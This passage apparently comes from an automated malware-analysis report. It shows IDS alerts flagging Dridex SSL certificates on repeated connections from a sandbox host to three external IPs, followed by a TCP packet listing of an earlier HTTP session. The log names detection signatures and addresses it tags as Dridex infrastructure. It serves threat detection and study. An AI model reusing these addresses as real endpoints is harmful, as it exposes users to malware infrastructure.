01/11/21-20:48:37.467885	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49265	77.220.64.37	192.168.2.22
01/11/21-20:48:37.994826	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49266	80.86.91.27	192.168.2.22
01/11/21-20:48:38.519760	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49267	5.100.228.233	192.168.2.22
01/11/21-20:48:38.519760	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49267	5.100.228.233	192.168.2.22
01/11/21-20:48:39.556782	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49269	77.220.64.37	192.168.2.22
01/11/21-20:48:40.066731	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49270	80.86.91.27	192.168.2.22
01/11/21-20:48:40.577625	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49271	5.100.228.233	192.168.2.22
01/11/21-20:48:40.577625	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49271	5.100.228.233	192.168.2.22
01/11/21-20:48:41.984070	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49273	77.220.64.37	192.168.2.22
01/11/21-20:48:42.499308	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49274	80.86.91.27	192.168.2.22
01/11/21-20:48:43.018257	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49275	5.100.228.233	192.168.2.22
01/11/21-20:48:43.018257	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49275	5.100.228.233	192.168.2.22
01/11/21-20:48:44.053274	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49277	77.220.64.37	192.168.2.22
01/11/21-20:48:44.579320	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49278	80.86.91.27	192.168.2.22
01/11/21-20:48:45.104603	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49279	5.100.228.233	192.168.2.22
01/11/21-20:48:45.104603	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49279	5.100.228.233	192.168.2.22
01/11/21-20:48:46.141495	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49281	77.220.64.37	192.168.2.22
01/11/21-20:48:46.666241	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49282	80.86.91.27	192.168.2.22
01/11/21-20:48:47.182448	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49283	5.100.228.233	192.168.2.22
01/11/21-20:48:47.182448	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49283	5.100.228.233	192.168.2.22
01/11/21-20:48:48.231998	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49285	77.220.64.37	192.168.2.22
01/11/21-20:48:48.761039	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49286	80.86.91.27	192.168.2.22
01/11/21-20:48:49.562937	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49287	5.100.228.233	192.168.2.22
01/11/21-20:48:49.562937	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49287	5.100.228.233	192.168.2.22
01/11/21-20:48:50.588831	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49289	77.220.64.37	192.168.2.22
01/11/21-20:48:51.108516	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49290	80.86.91.27	192.168.2.22
01/11/21-20:48:51.737151	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49291	5.100.228.233	192.168.2.22
01/11/21-20:48:51.737151	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49291	5.100.228.233	192.168.2.22
01/11/21-20:48:53.152587	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49293	77.220.64.37	192.168.2.22
01/11/21-20:48:53.702863	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49294	80.86.91.27	192.168.2.22
01/11/21-20:48:54.232464	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49295	5.100.228.233	192.168.2.22
01/11/21-20:48:54.232464	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49295	5.100.228.233	192.168.2.22
01/11/21-20:48:55.305953	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49297	77.220.64.37	192.168.2.22
01/11/21-20:48:55.823725	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49298	80.86.91.27	192.168.2.22
01/11/21-20:48:56.353899	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49299	5.100.228.233	192.168.2.22
01/11/21-20:48:56.353899	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49299	5.100.228.233	192.168.2.22
01/11/21-20:48:57.392349	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49301	77.220.64.37	192.168.2.22
01/11/21-20:48:57.929658	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49302	80.86.91.27	192.168.2.22
01/11/21-20:48:58.470993	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49303	5.100.228.233	192.168.2.22
01/11/21-20:48:58.470993	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49303	5.100.228.233	192.168.2.22
01/11/21-20:48:59.528377	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49305	77.220.64.37	192.168.2.22
01/11/21-20:49:00.055573	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49306	80.86.91.27	192.168.2.22
01/11/21-20:49:00.575455	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49307	5.100.228.233	192.168.2.22
01/11/21-20:49:00.575455	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49307	5.100.228.233	192.168.2.22
01/11/21-20:49:01.635516	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49309	77.220.64.37	192.168.2.22
01/11/21-20:49:02.151598	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49310	80.86.91.27	192.168.2.22
01/11/21-20:49:02.678194	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49311	5.100.228.233	192.168.2.22
01/11/21-20:49:02.678194	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49311	5.100.228.233	192.168.2.22
01/11/21-20:49:03.742064	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49313	77.220.64.37	192.168.2.22
01/11/21-20:49:04.263567	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49314	80.86.91.27	192.168.2.22
01/11/21-20:49:04.784140	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49315	5.100.228.233	192.168.2.22
01/11/21-20:49:04.784140	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49315	5.100.228.233	192.168.2.22
01/11/21-20:49:05.829691	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49317	77.220.64.37	192.168.2.22
01/11/21-20:49:06.356350	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49318	80.86.91.27	192.168.2.22
01/11/21-20:49:06.866466	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49319	5.100.228.233	192.168.2.22
01/11/21-20:49:06.866466	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49319	5.100.228.233	192.168.2.22
01/11/21-20:49:07.983522	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49321	77.220.64.37	192.168.2.22
01/11/21-20:49:08.507501	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49322	80.86.91.27	192.168.2.22
01/11/21-20:49:09.032820	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49323	5.100.228.233	192.168.2.22
01/11/21-20:49:09.032820	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49323	5.100.228.233	192.168.2.22
01/11/21-20:49:10.091631	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49325	77.220.64.37	192.168.2.22
01/11/21-20:49:10.363346	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49325	77.220.64.37	192.168.2.22
01/11/21-20:49:10.972908	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49326	80.86.91.27	192.168.2.22
01/11/21-20:49:11.504123	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49327	5.100.228.233	192.168.2.22
01/11/21-20:49:11.504123	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49327	5.100.228.233	192.168.2.22
01/11/21-20:49:12.602010	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49329	77.220.64.37	192.168.2.22
01/11/21-20:49:13.124299	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49330	80.86.91.27	192.168.2.22
01/11/21-20:49:13.647090	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49331	5.100.228.233	192.168.2.22
01/11/21-20:49:13.647090	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49331	5.100.228.233	192.168.2.22
01/11/21-20:49:14.691394	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49333	77.220.64.37	192.168.2.22
01/11/21-20:49:15.213466	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49334	80.86.91.27	192.168.2.22
01/11/21-20:49:15.735215	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49335	5.100.228.233	192.168.2.22
01/11/21-20:49:15.735215	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49335	5.100.228.233	192.168.2.22
01/11/21-20:49:16.782727	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49337	77.220.64.37	192.168.2.22
01/11/21-20:49:17.307734	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49338	80.86.91.27	192.168.2.22
01/11/21-20:49:17.845777	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49339	5.100.228.233	192.168.2.22
01/11/21-20:49:17.845777	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49339	5.100.228.233	192.168.2.22
01/11/21-20:49:18.908240	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49341	77.220.64.37	192.168.2.22
01/11/21-20:49:19.428815	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49342	80.86.91.27	192.168.2.22
01/11/21-20:49:19.962769	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49343	5.100.228.233	192.168.2.22
01/11/21-20:49:19.962769	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49343	5.100.228.233	192.168.2.22
01/11/21-20:49:21.025765	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49345	77.220.64.37	192.168.2.22
01/11/21-20:49:21.550932	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49346	80.86.91.27	192.168.2.22
01/11/21-20:49:22.094290	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49347	5.100.228.233	192.168.2.22
01/11/21-20:49:22.094290	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49347	5.100.228.233	192.168.2.22
01/11/21-20:49:23.132543	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49349	77.220.64.37	192.168.2.22
01/11/21-20:49:23.657512	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49350	80.86.91.27	192.168.2.22
01/11/21-20:49:24.190173	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49351	5.100.228.233	192.168.2.22
01/11/21-20:49:24.190173	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49351	5.100.228.233	192.168.2.22
01/11/21-20:49:25.253666	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49353	77.220.64.37	192.168.2.22
01/11/21-20:49:25.778099	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49354	80.86.91.27	192.168.2.22
01/11/21-20:49:26.317167	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49355	5.100.228.233	192.168.2.22
01/11/21-20:49:26.317167	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49355	5.100.228.233	192.168.2.22
01/11/21-20:49:27.361910	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49357	77.220.64.37	192.168.2.22
01/11/21-20:49:27.885060	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49358	80.86.91.27	192.168.2.22
01/11/21-20:49:28.424659	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49359	5.100.228.233	192.168.2.22
01/11/21-20:49:28.424659	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49359	5.100.228.233	192.168.2.22
01/11/21-20:49:29.545079	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49361	77.220.64.37	192.168.2.22
01/11/21-20:49:30.059527	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49362	80.86.91.27	192.168.2.22
01/11/21-20:49:30.604198	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49363	5.100.228.233	192.168.2.22
01/11/21-20:49:30.604198	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49363	5.100.228.233	192.168.2.22
01/11/21-20:49:31.731227	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49365	77.220.64.37	192.168.2.22
01/11/21-20:49:32.307576	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49366	80.86.91.27	192.168.2.22
01/11/21-20:49:32.830426	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49367	5.100.228.233	192.168.2.22
01/11/21-20:49:32.830426	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49367	5.100.228.233	192.168.2.22
01/11/21-20:49:33.865738	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49369	77.220.64.37	192.168.2.22
01/11/21-20:49:34.371379	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49370	80.86.91.27	192.168.2.22
01/11/21-20:49:34.887141	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49371	5.100.228.233	192.168.2.22
01/11/21-20:49:34.887141	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49371	5.100.228.233	192.168.2.22
01/11/21-20:49:35.922478	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49373	77.220.64.37	192.168.2.22
01/11/21-20:49:36.450784	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49374	80.86.91.27	192.168.2.22
01/11/21-20:49:36.959756	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49375	5.100.228.233	192.168.2.22
01/11/21-20:49:36.959756	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49375	5.100.228.233	192.168.2.22
01/11/21-20:49:38.016786	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49377	77.220.64.37	192.168.2.22
01/11/21-20:49:38.589462	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49378	80.86.91.27	192.168.2.22
01/11/21-20:49:39.231635	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49379	5.100.228.233	192.168.2.22
01/11/21-20:49:39.231635	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49379	5.100.228.233	192.168.2.22
01/11/21-20:49:40.432839	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49381	77.220.64.37	192.168.2.22
01/11/21-20:49:40.959328	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49382	80.86.91.27	192.168.2.22
01/11/21-20:49:41.496822	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49383	5.100.228.233	192.168.2.22
01/11/21-20:49:41.496822	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49383	5.100.228.233	192.168.2.22
01/11/21-20:49:42.567637	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49385	77.220.64.37	192.168.2.22
01/11/21-20:49:43.100887	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49386	80.86.91.27	192.168.2.22
01/11/21-20:49:43.625308	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49387	5.100.228.233	192.168.2.22
01/11/21-20:49:43.625308	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49387	5.100.228.233	192.168.2.22
01/11/21-20:49:44.693638	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49389	77.220.64.37	192.168.2.22
01/11/21-20:49:45.218520	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49390	80.86.91.27	192.168.2.22
01/11/21-20:49:45.743750	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49391	5.100.228.233	192.168.2.22
01/11/21-20:49:45.743750	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49391	5.100.228.233	192.168.2.22
01/11/21-20:49:46.785083	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49393	77.220.64.37	192.168.2.22
01/11/21-20:49:47.309857	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49394	80.86.91.27	192.168.2.22
01/11/21-20:49:47.840144	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49395	5.100.228.233	192.168.2.22
01/11/21-20:49:47.840144	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3389	49395	5.100.228.233	192.168.2.22
01/11/21-20:49:48.890333	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49397	77.220.64.37	192.168.2.22
01/11/21-20:49:49.416773	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3308	49398	80.86.91.27	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2021 20:47:35.885713100 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.073633909 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.073721886 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.074425936 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.272814035 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.272876978 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.272913933 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.272963047 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273005009 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273042917 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273082018 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273092985 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.273108006 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.273112059 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.273121119 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273149014 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.273156881 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273180008 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.273195028 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.273212910 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.273243904 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.278430939 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.462656975 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.462718964 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.462749958 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.462773085 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.463792086 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.463836908 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.463855028 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.463874102 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.463882923 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.463911057 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.463921070 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.463963032 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.463975906 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.464004993 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.464332104 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.464373112 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.464391947 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.464409113 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.464421988 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.464446068 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.464456081 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.464481115 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.464483976 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.464533091 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.465023041 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660279036 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660346985 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660386086 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660425901 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660464048 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660500050 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660537004 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660576105 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660587072 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660605907 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660608053 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660609961 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660623074 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660634041 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660665989 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660681963 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660702944 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660712004 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660741091 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660741091 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660782099 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660820007 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660823107 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:36.660845995 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.660876036 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:36.661947966 CET	80	49165	198.54.125.162	192.168.2.22
